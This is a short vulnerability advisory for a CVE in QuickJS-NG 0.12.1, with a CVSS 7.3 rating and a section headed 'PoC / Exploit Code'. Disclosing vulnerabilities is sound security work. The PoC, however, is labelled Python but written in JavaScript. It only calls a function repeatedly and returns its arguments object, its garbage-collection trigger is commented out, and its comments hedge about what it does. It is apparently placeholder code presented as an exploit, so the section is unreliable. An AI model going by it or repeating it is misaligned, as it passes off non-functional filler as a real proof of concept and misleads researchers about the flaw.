An issue in QuickJS-NG v.0.12.1 allows an attacker to execute arbitrary code via the js_mapped_arguments_mark function
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
QuickJS-NG 0.12.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-37630
* Triggering the vulnerability in js_mapped_arguments_mark
*/
function trigger_vuln() {
// Attempt to trigger the flaw in mapped arguments handling
// The issue occurs when the GC marks arguments objects
function vulnerable_func(a, b, c) {
// Accessing arguments in a way that triggers the mapped mark logic
var mapped_args = arguments;
// Manipulate arguments to potentially corrupt memory during GC
return mapped_args;
}
// Call the function repeatedly to induce GC or specific state
for (let i = 0; i < 1000; i++) {
let obj = vulnerable_func(i, i + 1, i + 2);
// Force garbage collection if environment allows (e.g., --expose-gc in node)
// if (typeof gc !== 'undefined') gc();
}
}
trigger_vuln();